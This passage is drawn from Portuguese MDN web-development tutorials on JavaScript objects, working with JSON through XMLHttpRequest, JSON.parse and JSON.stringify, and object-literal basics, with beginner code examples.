function() { ... };\n\n// etc.\n```\n\n\nEsse padrão pode ser visto em ação no exemplo de aplicativo de plano escolar de Piotr Zalewa.\n\nSumário\n-------\n\nEste artigo abrangeu protótipos de objetos JavaScript, incluindo como cadeias de objetos de protótipos permitem que objetos herdem recursos uns dos outros, a propriedade prototype e como ela pode ser usada para adicionar métodos a construtores e outros tópicos relacionados.\n\nNo próximo artigo, veremos como você pode implementar a herança de funcionalidade entre dois dos seus próprios objetos personalizados.\n\n* Anterior\n* Menu: Objects\n* Próxima"}
{"title":"Trabalhando com JSON - Aprendendo desenvolvimento web","text":"Trabalhando com JSON\n====================\n\n* Anterior\n* Menu: Objects\n* Próxima\n\nJavaScript Object Notation (JSON) é um formato baseado em texto padrão para representar dados estruturados com base na sintaxe do objeto JavaScript. É comumente usado para transmitir dados em aplicativos da Web (por exemplo, enviar alguns dados do servidor para o cliente, para que possam ser exibidos em uma página da Web ou vice-versa). Você se deparará com isso com bastante frequência, portanto, neste artigo, oferecemos tudo o que você precisa para trabalhar com o JSON usando JavaScript, incluindo a análise do JSON para que você possa acessar os dados dentro dele e criar o JSON.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos | \n Conhecimento básico em informática, conhecimento básico de HTML e CSS,\n conhecimento básico de JavaScript veja\n Primeiros passos\n e\n Construindo blocos) e o básico de OOJS (veja\n Introdução a objetos (en-US)).\n  |\n| Objetivo: | \n Para entender como trabalhar com dados armazenados em JSON e criar\n seus próprios objetos JSON.\n  |\n\nNão, sério, o que é o JSON?\n---------------------------\n\nJSON é um formato de dados baseado em texto seguindo a sintaxe do objeto JavaScript, que foi popularizada por Douglas Crockford. Mesmo que se assemelhe à sintaxe literal do objeto JavaScript, ele pode ser usado independentemente do JavaScript, e muitos ambientes de programação possuem a capacidade de ler (analisar) e gerar JSON\n\nO JSON existe como uma string — útil quando você deseja transmitir dados por uma rede. Ele precisa ser convertido em um objeto JavaScript nativo quando você quiser acessar os dados. Isso não é um grande problema — o JavaScript fornece um objeto JSON global que possui métodos disponíveis para conversão entre os dois.\n\n**Nota:** Converter uma string em um objeto nativo é chamado de análise, enquanto a conversão de um objeto nativo em uma string para que possa ser transmitida pela rede é chamada de *stringification*.\n\nUm objeto JSON pode ser armazenado em seu próprio arquivo, que é basicamente apenas um arquivo de texto com uma extensão de `.json`, e um MIME type (en-US) de `application/json`.\n\n### Estrutura JSON\n\nConforme descrito acima, um JSON é uma string cujo formato se parece muito com o formato literal do objeto JavaScript. Você pode incluir os mesmos tipos de dados básicos dentro do JSON, como em um objeto JavaScript padrão — strings, números, matrizes, booleanos e outros literais de objeto. Isso permite que você construa uma hierarquia de dados, assim:\n\n\n```json\n{\n  \"squadName\": \"Super hero squad\",\n  \"homeTown\": \"Metro City\",\n  \"formed\": 2016,\n  \"secretBase\": \"Super tower\",\n  \"active\": true,\n  \"members\": [\n    {\n      \"name\": \"Molecule Man\",\n      \"age\": 29,\n      \"secretIdentity\": \"Dan Jukes\",\n      \"powers\": [\"Radiation resistance\", \"Turning tiny\", \"Radiation blast\"]\n    },\n    {\n      \"name\": \"Madame Uppercut\",\n      \"age\": 39,\n      \"secretIdentity\": \"Jane Wilson\",\n      \"powers\": [\n        \"Million tonne punch\",\n        \"Damage resistance\",\n        \"Superhuman reflexes\"\n      ]\n    },\n    {\n      \"name\": \"Eternal Flame\",\n      \"age\": 1000000,\n      \"secretIdentity\": \"Unknown\",\n      \"powers\": [\n        \"Immortality\",\n        \"Heat Immunity\",\n        \"Inferno\",\n        \"Teleportation\",\n        \"Interdimensional travel\"\n      ]\n    }\n  ]\n}\n```\n\n\nSe nós carregássemos esse objeto em um programa JavaScript, analisado em uma variável chamada `superHeroes` por exemplo, poderíamos então acessar os dados dentro dele usando a mesma notação dot / bracket que observamos no artigo básico do objeto JavaScript. Por exemplo:\n\n\n```js\nsuperHeroes.homeTown;\nsuperHeroes[\"active\"];\n```\n\n\nPara acessar os dados mais abaixo na hierarquia, basta encadear os nomes de propriedades e os índices de array necessários juntos. Por exemplo, para acessar o terceiro superpoder do segundo herói listado na lista de membros, você faria isso:\n\n\n```js\nsuperHeroes[\"members\"][1][\"powers\"][2];\n```\n\n\n1. Primeiro temos o nome da variável — `superHeroes`.\n2. Por dentro, queremos acessar a propriedade dos `members`, então usamos `[\"members\"]`.\n3. `members` contém uma matriz preenchida por objetos. Queremos acessar o segundo objeto dentro da matriz, então usamos `[1]`.\n4. Dentro deste objeto, queremos acessar a propriedade `powers`, então usamos `[\"powers\"]`.\n5. Dentro da propriedade `powers` está um array contendo os superpoderes do herói selecionado. Nós queremos o terceiro, então nós usamos\n `[2]`.\n\n**Nota:** Nota: Nós fizemos o JSON visto acima disponível dentro de uma variável em nosso exemplo JSONTest.html (veja o código fonte). Tente carregar isso e depois acessar os dados dentro da variável pelo console JavaScript do seu navegador.\n\n### Matrizes como JSON\n\nAcima, mencionamos que o texto JSON basicamente se parece com um objeto JavaScript, e isso é basicamente correto. A razão pela qual dissemos \"principalmente certo\" é que uma matriz também é válida como JSON, por exemplo:\n\n\n```json\n[\n  {\n    \"name\": \"Molecule Man\",\n    \"age\": 29,\n    \"secretIdentity\": \"Dan Jukes\",\n    \"powers\": [\"Radiation resistance\", \"Turning tiny\", \"Radiation blast\"]\n  },\n  {\n    \"name\": \"Madame Uppercut\",\n    \"age\": 39,\n    \"secretIdentity\": \"Jane Wilson\",\n    \"powers\": [\n      \"Million tonne punch\",\n      \"Damage resistance\",\n      \"Superhuman reflexes\"\n    ]\n  }\n]\n```\n\n\nO código acima é um JSON perfeitamente válido. Você teria que acessar itens de matriz (em sua versão analisada) iniciando com um índice de matriz, por exemplo `[0][\"powers\"][0]`.\n\n### Outras notas\n\n* O JSON é puramente um formato de dados — contém apenas propriedades, sem métodos.\n* JSON requer aspas duplas para serem usadas em torno de strings e nomes de propriedades. Aspas simples não são válidas.\n* Mesmo uma única vírgula ou cólon perdidos podem fazer com que um arquivo JSON dê errado e não funcione. Você deve ter o cuidado de validar quaisquer dados que você esteja tentando usar (embora o JSON gerado por computador seja menos provável de incluir erros, desde que o programa gerador esteja funcionando corretamente). Você pode validar o JSON usando um aplicativo como o JSONLint.\n* O JSON pode realmente assumir a forma de qualquer tipo de dados que seja válido para inclusão dentro do JSON, não apenas matrizes ou objetos. Por exemplo, uma única string ou número seria um objeto JSON válido.\n* Ao contrário do código JavaScript no qual as propriedades do objeto podem estar sem aspas, em JSON, somente strings entre aspas podem ser usadas como propriedades.\nAprendizado ativo: trabalhando por meio de um exemplo de JSON\n-------------------------------------------------------------\n\nEntão, vamos trabalhar em um exemplo para mostrar como poderíamos usar alguns dados JSON em um site.\n\n### Começando\n\nPara começar, faça cópias locais de nossos arquivos heroes.html e style.css. O último contém alguns CSS simples para estilizar nossa página, enquanto o primeiro contém um HTML muito simples:\n\n\n```html\n<header></header>\n\n<section></section>\n```\n\n\nMais um elemento `<script>` para conter o código JavaScript que escreveremos neste exercício. No momento, ele contém apenas duas linhas, que pegam referências aos elementos `<header>` e `<section>` e os armazenam em variáveis:\n\n\n```js\nvar header = document.querySelector(\"header\");\nvar section = document.querySelector(\"section\");\n```\n\n\nDisponibilizamos nossos dados JSON em nosso GitHub, emhttps://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json.\n\nVamos carregá-lo em nossa página e usar algumas manipulações de DOM nifty para exibi-lo, assim:\n\n![](/pt-BR/docs/Learn/JavaScript/Objects/JSON/json-superheroes.png)\n\n### Obtendo o JSON\n\nPara obter o JSON, vamos usar uma API chamada `XMLHttpRequest` (geralmente chamada de XHR). Esse é um objeto JavaScript muito útil que nos permite fazer solicitações de rede para recuperar recursos de um servidor via JavaScript (por exemplo, imagens, texto, JSON e até trechos de código HTML), o que significa que podemos atualizar pequenas seções de conteúdo sem ter que recarregar todo página. Isso levou a páginas da Web mais responsivas e parece empolgante, mas está além do escopo deste artigo ensinar isso com muito mais detalhes.\n\n1. Para começar, vamos armazenar a URL do JSON que queremos recuperar em uma variável. Adicione o seguinte na parte inferior do seu código JavaScript:\n\n```js\nvar requestURL =\n  \"https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json\";\n```\n\n2. Para criar uma solicitação, precisamos criar uma nova instância de objeto de solicitação a partir do construtor `XMLHttpRequest` usando a palavra-chave `new`. Adicione o seguinte abaixo sua última linha:\n\n```js\nvar request = new XMLHttpRequest();\n```\n\n3. Agora precisamos abrir uma nova solicitação usando o método `open()` . Adicione a seguinte linha:\n\n```js\nrequest.open(\"GET\", requestURL);\n```\n\nIsso leva pelo menos dois parâmetros — existem outros parâmetros opcionais disponíveis. Nós só precisamos dos dois obrigatórios para este exemplo simples:\n    * O método HTTP a ser usado ao fazer a solicitação de rede. Neste caso, `GET` é bom, pois estamos apenas recuperando alguns dados simples.\n    * O URL para fazer a solicitação — esta é a URL do arquivo JSON que armazenamos anteriormente.\n4. Em seguida, adicione as duas linhas a seguir — aqui estamos definindo o `responseType` (en-US) como JSON, para que o XHR saiba que o servidor retornará o JSON e que isso deve ser convertido nos bastidores em um objeto JavaScript. Em seguida, enviamos a solicitação com o método `send()`:\n\n```js\nrequest.responseType = \"json\";\nrequest.send();\n```\n\n5. A última parte desta seção envolve aguardar a resposta retornar do servidor e, em seguida, lidar com ela. Adicione o seguinte código abaixo do seu código anterior:\n\n```js\nrequest.onload = function () {\n  var superHeroes = request.response;\n  populateHeader(superHeroes);\n  showHeroes(superHeroes);\n};\n```\n\n\nAqui estamos armazenando a resposta ao nosso pedido (disponível na propriedade `response` (en-US)) em uma variável chamada `superHeroes`; essa variável agora conterá o objeto JavaScript com base no JSON! Então, estamos passando esse objeto para duas chamadas de função — a primeira preencherá o <`header>` com os dados corretos, enquanto a segunda criará uma ficha de informações para cada herói da equipe e a inserirá na `<section>`.\n\nEnvolvemos o código em um manipulador de eventos que é executado quando o evento de carregamento é acionado no objeto de solicitação (consulte `onload` (en-US)) — isso ocorre porque o evento load é acionado quando a resposta é retornada com sucesso; Fazê-lo desta forma garante que `request.response` estará definitivamente disponível quando chegarmos a tentar fazer algo com ele.\n\n### Preenchendo o Cabeçalho\n\nAgora, recuperamos os dados JSON e os convertemos em um objeto JavaScript, vamos usá-lo escrevendo as duas funções mencionadas acima. Primeiro de tudo, adicione a seguinte definição de função abaixo do código anterior:\n\n\n```js\nfunction populateHeader(jsonObj) {\n  var myH1 = document.createElement(\"h1\");\n  myH1.textContent = jsonObj[\"squadName\"];\n  header.appendChild(myH1);\n\n  var myPara = document.createElement(\"p\");\n  myPara.textContent =\n    \"Hometown: \" + jsonObj[\"homeTown\"] + \" // Formed: \" + jsonObj[\"formed\"];\n  header.appendChild(myPara);\n}\n```\n\n\nNós chamamos o parâmetro `jsonObj`, para nos lembrarmos que esse objeto JavaScript foi originado do JSON. Aqui, primeiro criamos um elemento `<h1>` (en-US) como `createElement()`, definimos seu `textContent` para igualar a propriedade `squadName` do objeto e, em seguida, o adicionamos ao cabeçalho usando `appendChild()`. Em seguida, fazemos uma operação muito semelhante com um parágrafo: criá-lo, definir seu conteúdo de texto e anexá-lo ao cabeçalho. A única diferença é que seu texto é definido como uma string concatenada contendo as propriedades `homeTown` e `formed` do objeto.\n\n### Criando os cartões de informações do herói\n\nEm seguida, adicione a seguinte função na parte inferior do código, que cria e exibe as cartas de super-heróis:\n\n\n```js\nfunction showHeroes(jsonObj) {\n  var heroes = jsonObj[\"members\"];\n\n  for (var i = 0; i < heroes.length; i++) {\n    var myArticle = document.createElement(\"article\");\n    var myH2 = document.createElement(\"h2\");\n    var myPara1 = document.createElement(\"p\");\n    var myPara2 = document.createElement(\"p\");\n    var myPara3 = document.createElement(\"p\");\n    var myList = document.createElement(\"ul\");\n\n    myH2.textContent = heroes[i].name;\n    myPara1.textContent = \"Secret identity: \" + heroes[i].secretIdentity;\n    myPara2.textContent = \"Age: \" + heroes[i].age;\n    myPara3.textContent = \"Superpowers:\";\n\n    var superPowers = heroes[i].powers;\n    for (var j = 0; j < superPowers.length; j++) {\n      var listItem = document.createElement(\"li\");\n      listItem.textContent = superPowers[j];\n      myList.appendChild(listItem);\n    }\n\n    myArticle.appendChild(myH2);\n    myArticle.appendChild(myPara1);\n    myArticle.appendChild(myPara2);\n    myArticle.appendChild(myPara3);\n    myArticle.appendChild(myList);\n\n    section.appendChild(myArticle);\n  }\n}\n```\n\n\nPara começar, armazenamos a propriedade `members` do objeto JavaScript em uma nova variável. Esta matriz contém vários objetos que contêm as informações para cada herói.\n\nEm seguida, usamos um loop for para percorrer cada objeto na matriz. Para cada um, nós:\n\n1. Criamos vários novos elementos: um `<article>`, um `<h2>`, três `<p>`s, e um `<ul>`.\n2. Definimos o <h2> para conter o `name` do herói atual.\n3. Preenchemos os três parágrafos com sua `secretIdentity`, `age`, e uma linha dizendo \"Superpoderes:\" para introduzir as informações na lista.\n4. Armazenamos a propriedade `powers` em outra nova variável chamada `superPowers` — isso contém uma matriz que lista os superpoderes do herói atual.\n5. Usamos outro loop `for` para percorrer os superpoderes do herói atual — para cada um criamos um elemento `<li>` colocamos o super poder dentro dele e colocamos o `listItem` dentro do elemento `<ul>` (`myList`) usando `appendChild()`.\n6. A última coisa que fizemos foi acrescentar os `<h2>`, `<p>`s, e `<ul>` dentro do `<article>` (`myArticle`), depois acrescentar o `<article>` dentro do `<section>`. A ordem em que as coisas são anexadas é importante, pois essa é a ordem em que elas serão exibidas dentro do HTML.\n\n**Nota:** Se você está com problemas pegue um exemplo para trabalhar, tente nosso código fonte heroes-finished.html (veja isso ao vivo também.)\n\n**Nota:** Se você está tendo problemas para seguir a notação ponto / colchete que estamos usando para acessar o objeto JavaScript, pode ajudar a abrir o arquivo superheroes.json em outra guia ou em seu editor de texto, e consultá-lo enquanto observa nosso JavaScript. Você também pode consultar o artigo sobre conceitos O básico de objetos JavaScript para obter mais informações sobre a notação de pontos e colchetes.\n\nConversão entre objetos e texto\n-------------------------------\n\nO exemplo acima foi simples em termos de acesso ao objeto JavaScript, porque definimos a solicitação XHR para converter a resposta JSON diretamente em um objeto JavaScript usando:\n\n\n```js\nrequest.responseType = \"json\";\n```\n\n\nMas às vezes não temos muita sorte — às vezes recebemos uma string JSON bruta e precisaremos convertê-la em um objeto por conta própria. E quando queremos enviar um objeto JavaScript pela rede, precisamos convertê-lo em JSON (uma string) antes de enviá-lo. Felizmente, esses dois problemas são tão comuns no desenvolvimento da Web que um objeto JSON interno está disponível nos navegadores, o que contém os dois métodos a seguir:\n\n* `parse()`: Aceita uma string JSON como um parâmetro e retorna o objeto JavaScript correspondente.\n* `stringify()`: Aceita um objeto como um parâmetro e retorna o formato equivalente de string JSON.\n\nVocê pode ver o primeiro em ação em nosso exemplo heroes-finished-json-parse.html (veja o source code) — isso faz exatamente a mesma coisa que o exemplo que construímos anteriormente, exceto pelo fato de configurarmos o XHR para retornar texto JSON bruto, em seguida, usado `parse()` para convertê-lo em um objeto JavaScript real. O trecho principal do código está aqui:\n\n\n```js\nrequest.open(\"GET\", requestURL);\nrequest.responseType = \"text\"; // now we're getting a string!\nrequest.send();\n\nrequest.onload = function () {\n  var superHeroesText = request.response; // get the string from the response\n  var superHeroes = JSON.parse(superHeroesText); // convert it to an object\n  populateHeader(superHeroes);\n  showHeroes(superHeroes);\n};\n```\n\n\nComo você pode imaginar, `stringify()` funciona da maneira oposta. Tente inserir as seguintes linhas no console JavaScript de seu navegador, uma por uma, para vê-lo em ação:\n\n\n```js\nvar myJSON = { name: \"Chris\", age: \"38\" };\nmyJSON;\nvar myString = JSON.stringify(myJSON);\nmyString;\n```\n\n\nAqui estamos criando um objeto JavaScript, em seguida, verificando o que ele contém, convertendo-o em uma string JSON usando `stringify()` — salvando o valor de retorno em uma nova variável — e, em seguida, verificando-o novamente.\n\nSumário\n-------\n\nNeste artigo, fornecemos um guia simples para usar o JSON em seus programas, incluindo como criar e analisar o JSON e como acessar dados bloqueados nele. No próximo artigo começaremos a analisar o JavaScript orientado a objetos.\n\nVeja também\n-----------\n\n* Objeto JSON página de refência\n* Objeto XMLHttpRequest página de refência\n* Usando XMLHttpRequest\n* Métodos de requisição HTTP\n* Site oficial JSON com o link para o padrão ECMA\n* Anterior\n* Menu: Objects\n* Próxima\nNesse módulo\n------------\n\n* O básico de objetos\n* Orientação a objetos em JavaScript para iniciantes\n* Protótipos de objetos\n* Herança em JavaScript\n* Trabalhando com dados em JSON\n* Prática de construção de objetos\n* Adicionando melhorias para nossa demo bolas saltitantes"}
{"title":"O básico sobre objetos JavaScript - Aprendendo desenvolvimento web","text":"O básico sobre objetos JavaScript\n=================================\n\n* Menu: Objects\n* Próxima\n\nNeste artigo, veremos a sintaxe fundamental de objetos JavaScript e revisitaremos alguns recursos JavaScript vistos anteriormente no curso, reiterando o fato de que muitos dos recursos que você já utilizou são objetos.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Interação básica com o computador, entendimento básico de HTML e CSS,\n familiaridade com o básico de JavaScript (ver\n Primeiros passos\n e\n Elementos construtivos).\n  |\n| Objetivo: | \n Entender a teoria básica por trás da programação orientada a objetos,\n como isso se relaciona com o JavaScript (\"quase tudo é objeto\"), e como\n começar a trabalhar com objetos JavaScript.\n  |\n\nObjeto, noções básicas\n----------------------\n\nUm objeto é uma coleção de dados e/ou funcionalidades relacionadas (que geralmente consistem em diversas variáveis e funções — que são chamadas de propriedades e métodos quando estão dentro de objetos). Vamos trabalhar com um exemplo para entender como eles são.\n\nPara começar, faça uma cópia do nosso arquivo oojs.html. Isto contém muito pouco — um elemento `<script>` para escrevermos nosso código-fonte. Vamos usar isto como base para explorar a sintaxe básica do objeto. Ao trabalhar com este exemplo, você deve ter seu console de ferramentas de desenvolvedor JavaScript aberto e pronto para digitar alguns comandos.\n\nComo acontece com muitas coisas em JavaScript, a criação de um objeto geralmente começa com a definição e a inicialização de uma variável. Tente digitar o código a seguir no arquivo que você baixou, salve e atualize:\n\n\n```js\nvar pessoa = {};\n```\n\n\nSe você inserir `pessoa` no seu console JS e pressionar o botão, deverá obter o seguinte resultado:\n\n\n```js\n[object Object]\n```\n\n\nParabéns, você acabou de criar seu primeiro objeto. Tarefa concluída! Mas este é um objeto vazio, então não podemos fazer muita coisa com isso. Vamos atualizar nosso objeto para ficar assim:\n\n\n```js\nvar pessoa = {\n  nome: [\"Bob\", \"Smith\"],\n  idade: 32,\n  sexo: \"masculino\",\n  interesses: [\"música\", \"esquiar\"],\n  bio: function () {\n    alert(\n      this.nome[0] +\n        \" \" +\n        this.nome[1] +\n        \" tem \" +\n        this.idade +\n        \" anos de idade. Ele gosta de \" +\n        this.interesses[0] +\n        \" e \" +\n        this.interesses[1] +\n        \".\",\n    );\n  },\n  saudacao: function () {\n    alert(\"Oi! Eu sou \" + this.nome[0] + \".\");\n  },\n};\n```\n\n\nDepois de salvar e atualizar, tente inserir alguns dos itens a seguir no console JavaScript no devtools do seu navegador:\n\n\n```js\npessoa.nome;\npessoa.nome[0];\npessoa.idade;\npessoa.interesses[1];\npessoa.bio();\npessoa.saudacao();\n```\n\n\nAgora você tem alguns dados e funcionalidades dentro de seu objeto e é capaz de acessá-los com uma sintaxe simples e agradável!\n\n**Nota:** Se você está tendo problemas para fazer isto funcionar, tente comparar seu código com a nossa versão — veja oojs-finished.html (ou veja um exemplo funcionando). O exemplo lhe dará uma tela em branco, mas tudo bem — novamente, abra seu devtools e tente digitar os comandos acima para ver a estrutura do objeto.\n\nEntão, o que está acontecendo? Bem, um objeto é composto de vários membros, cada um com um nome (ex.: `nome` e `idade` vistos acima), e um valor (ex.: `['Bob', 'Smith']` e `32`). Cada par nome/valor deve ser separado por uma vírgula e o nome e valor, em cada caso, separados por dois pontos. A sintaxe sempre segue esse padrão:\n\n\n```js\nvar nomeDoObjeto = {\n  nomeMembro1: valorMembro1,\n  nomeMembro2: valorMembro2,\n  nomeMembro3: valorMembro3,\n};\n```\n\n\nO valor de um membro do objeto pode ser praticamente qualquer coisa. Em nosso objeto pessoa, temos uma string, um número, dois arrays e duas functions. Os primeiros quatro são data items (dados) e são referenciados como **propriedades** do objeto. Enquanto os dois últimos itens são funções que permitem que o objeto faça algo com esses dados. São chamados de **métodos** do objeto.\n\nUm objeto como esse é chamado de **objeto literal** — ao pé da letra, escrevemos o conteúdo do objeto conforme o criamos. Isto está em contraste com objetos instanciados de classes, que veremos mais adiante.\n\nÉ muito comum criar um objeto usando um objeto literal quando você deseja transferir uma série de itens de dados relacionados estruturados de alguma maneira, por exemplo, enviando uma solicitação para o servidor para ser colocado em um banco de dados. Enviar um único objeto é muito mais eficiente do que enviar vários itens individualmente, e é mais fácil trabalhar com um array, quando você deseja identificar itens individuais pelo nome.\n\nNotação de ponto\n----------------\n\nAcima, você acessou as propriedades de objetos e métodos usando **notação de ponto**. O objeto nome (pessoa) atua como **namespace** (espaço de nomes) — ele deve ser digitado primeiro para que você acesse qualquer coisa **encapsulada** dentro do objeto. Depois você escreve um ponto, então o item que quer acessar — isso pode ser o nome de uma simples propriedade, um item de um array ou a chamada para um dos métodos do objeto, por exemplo:\n\n\n```js\npessoa.idade;\npessoa.interesse[1];\npessoa.bio();\n```\n\n### Sub-namespaces\n\nÉ até possível fazer o valor de um membro de um objeto ser outro objeto. Por exemplo, tente alterar o nome do membro de:\n\n\n```js\nnome: ['Bob', 'Smith'],\n```\n\n\npara\n\n\n```js\nnome : {\n  primeiro: 'Bob',\n  ultimo: 'Smith'\n},\n```\n\n\nAqui estamos efetivamente criando um **sub-namespace**. Parece difícil, mas não é — para acessar esses itens você apenas precisa encadear mais um passo ao final de outro ponto. Tente isso aqui no console:\n\n\n```js\npessoa.nome.primeiro;\npessoa.nome.ultimo;\n```\n\n\n**Importante**: Nesse ponto você também precisará revisar seus métodos e mudar quaisquer instâncias de\n\n\n```js\nnome[0];\nnome[1];\n```\n\n\npara\n\n\n```js\nnome.primeiro;\nnome.ultimo;\n```\n\n\nCaso contrário seus métodos não funcionarão.\n\nNotação de colchetes\n--------------------\n\nHá outra forma de acessar propriedades do objeto — usando notação de colchetes. Ao invés desses:\n\n\n```js\npessoa.idade;\npessoa.nome.primeiro;\n```\n\n\nVocê pode usar:\n\n\n```js\npessoa[\"idade\"];\npessoa[\"nome\"][\"primeiro\"];\n```\n\n\nFica muito parecido com a maneira que acessamos itens de um array, e é basicamente a mesma coisa, só que ao invés de usarmos um número de índice para selecionar um item, usamos o nome associado a cada valor. Não é por menos que objetos às vezes são chamados de **arrays associativos** — eles mapeiam strings a valores do mesmo modo que arrays mapeiam números a valores.\n\nSetando membros do objeto\n-------------------------\n\nAté agora nós apenas procuramos receber (ou **apanhar**) membros de objetos — podemos também **setar** (atualizar) o valor de membros de objetos simplesmente declarando o membro que queremos setar (usando notação de ponto ou colchete), tipo assim:\n\n\n```js\npessoa.idade = 45;\npessoa[\"nome\"][\"ultimo\"] = \"Cratchit\";\n```\n\n\nTente escrever as linhas acima e então apanhar seus membros novamente para ver como mudaram. Assim:\n\n\n```js\npessoa.idade;\npessoa[\"nome\"][\"ultimo\"];\n```\n\n\nNão podemos apenas atualizar valores existentes de propriedades e métodos; podemos também criar membros completamente novos. Tente isso aqui no console:\n\n\n```js\npessoa[\"olhos\"] = \"castanho\";\npessoa.despedida = function () {\n  alert(\"Adeus a todos!\");\n};\n```\n\n\nPodemos testar nossos novos membros:\n\n\n```js\npessoa[\"olhos\"];\npessoa.despedida();\n```\n\n\nUm aspecto útil de notação de colchetes é que ela pode ser usadada não apenas para setar valores dinamicamente, mas também nomes de membros. Vamos dizer que queremos que usuários possam armazenar tipos de valores personalizados em seus dados de 'pessoa', digitando o nome e o valor do membro em dois inputs de texto. Podemos obter esses valores dessa forma:\n\n\n```js\nvar myDataName = nameInput.value;\nvar myDataValue = nameValue.value;\n```\n\n\nPodemos, então, adicionar esse novo nome e valor ao objeto pessoa assim:\n\n\n```js\npessoa[myDataName] = myDataValue;\n```\n\n\nPara testar isso, tente adicionar as seguinte linhas em seu código, abaixo do fechamento da chaves do objeto `pessoa` :\n\n\n```js\nvar myDataName = \"altura\";\nvar myDataValue = \"1.75m\";\npessoa[myDataName] = myDataValue;\n```\n\n\nAgora tente salvar e atualizar, entrando o seguinte no seu input de texto:\n\n\n```js\npessoa.altura;\n```\n\n\nAdicionar uma propriedade a um objeto usando o método acima não é possível com a notação ponto, que só aceita um nome de membro literal, não aceita valor de variável apontando para um nome.\n\nO que é o \"this\"?\n-----------------\n\nVocê pode ter reparado algo levemente estranho em nossos métodos. Olhe esse aqui, por exemplo:\n\n\n```js\nsaudacao: function(){\n  alert(\"Oi! Meu nome é \" + this.nome.primeiro + \".\");\n}\n```\n\n\nVocê deve estar se perguntando o que é o \"this\". A palavra-chave `this` se refere ao objeto atual em que o código está sendo escrito — nesse caso o `this` se refere a `pessoa`. Então por que simplesmente não escrever `pessoa`? Como verá no artigo Orientaçã a objeto em JavaScript para iniciantes, quando começamos a criar funções construtoras, etc, o `this` é muito útil — sempre lhe assegurará que os valores corretos estão sendo usados quando o contexto de um membro muda (exemplo: duas instâncias diferentes do objeto `pessoa` podem ter diferentes nomes, mas vão querer usar seu próprio nome ao usar a saudação).\n\nVamos ilustrar o que queremos dizer com um par de objetos pessoa:\n\n\n```js\nvar pessoa1 = {\n  nome: \"Chris\",\n  saudacao: function () {\n    alert(\"Oi! Meu nome é \" + this.nome + \".\");\n  },\n};\n\nvar pessoa2 = {\n  nome: \"Brian\",\n  saudacao: function () {\n    alert(\"Oi! Meu nome é \" + this.nome + \".\");\n  },\n};\n```\n\n\nNeste caso, `pessoa1.saudacao()` gerará \"Oi! Meu nome é Chris.\"; No entanto, `pessoa2.saudacao()` retornará \"Oi! Meu nome é Brian.\", mesmo que os códigos dos métodos sejam idênticos. Como dissemos antes, o `this` é igual ao código do objeto dentro dele — não é exatamente útil quando estamos escrevendo objetos literais na mão, mas é realmente incrível quando adicionamos objetos gerados dinamicamente (por exemplo usando **construtores**). Tudo ficará mais claro mais para frente.\n\nVocê vem usando objetos o tempo todo\n------------------------------------\n\nEnquanto passava por esses exemplos, você provavelmente andou pensando que essa notação de ponto que estamos usando é muito familiar. Isso é porque você vem usando isso durante todo o curso! Todas as vezes que trabalhamos num exemplo que usa uma API interna do navegador ou objetos Javascript, estamos usando objetos, porque esses recursos são construídos usando exatamente o mesmo tipo de estrutura de objetos que vimos aqui, embora mais complexos do que nossos exemplos básicos.\n\nEntão quando usamos métodos de strings como:\n\n\n```js\nminhaString.split(\",\");\n```\n\n\nEstamos usando um método disponível na instância da class `String`. Toda vez que você cria uma string em seu código, essa string é automaticamente criada como uma instância de `String`, e, portanto, possui vários métodos e propriedades comuns que estão disponíveis para ela.\n\nQuando você acessa o document object model usando linhas como estas:\n\n\n```js\nvar minhaDiv = document.createElement(\"div\");\nvar meuVideo = document.querySelector(\"video\");\n```\n\n\nVocê está usando métodos disponíveis na instância da class `Document`. Cada vez que a página é recarrecada, uma instância de `Document` é criada, chamando `document`, que representa a estrutura inteira da página, conteúdo e outros recursos como sua URL. Novamente, isso significa que ela tem vários métodos e propriedades disponíveis nela.\n\nO mesmo pode ser dito de basicamente qualquer outro objeto/API embutido que esteja usando — `Array`, `Math`, etc.\n\nNote que Objetos/APIs embutidos nem sempre criam instâncias de objetos automaticamente. Por exemplo, a API de Notificações (en-US) — que permite que navegadores modernos disparem notificações de sistema — requerem que você inicialize uma nova instância de objeto usando o construtor para cada notificação que queira disparar. Tente entrar o seguinte no seu console Javascript:\n\n\n```js\nvar minhaNotificacao = new Notification(\"Hello!\");\n```\n\n\nNovamente, olharemos constructores num artigo mais na frente.\n\n**Nota:** É útil pensar sobre como os objetos se comunicam **passando mensagens** - quando um objeto precisa de outro objeto para realizar algum tipo de ação, ele freqüentemente enviará uma mensagem para outro objeto através de um de seus métodos e aguardará uma resposta, que reconhecemos como um valor de retorno.\n\nTeste suas habilidades !\n------------------------\n\nVocê chegou ao fim desse artigo,entretanto você consegue lembrar as informações mais importantes? Você pode encontrar mais testes para verificar se você consolidou as informações antes que você siga adiante — veja Test your skills: Object basics (en-US).\n\nResumo\n------\n\nParabéns, você chegou ao final de nosso primeiro artigo sobre objetos JS - agora você deve ter uma boa ideia de como trabalhar com objetos em Javascript - incluindo criar seus próprio objetos simples. Você também deve perceber que objetos são muito úteis como estruturas para armazenar dados e funcionalidades relacionadas - se tentar rastrear todas as propriedades e métodos do nosso objeto `pessoa` como variáveis e funções separadas, isso seria ineficiente e frustrante e correríamos o risco de termos outras variáveis e funções com o mesmo nome. Objetos nos permite manter informações guardadas em segurança em seus próprios pacotes, fora de perigo.\n\nNo próximo artigo vamos começar a ver a teoria de programação orientada a objetos (OOP) e em como suas técnicas podem ser usadas em Javascript.\n\n* Menu: Objects\n* Próxima\nNesse módulo\n------------\n\n* Noções Básicas de Objetos\n* Orientação a objetos Javascript para iniciantes\n* Protótipos de Objetos\n* Herança no Javascript\n* Trabalhando com JSON\n* Prática de construção de Objetos\n* Adicionando recursos à nossa demonstração de bolas pulantes"}
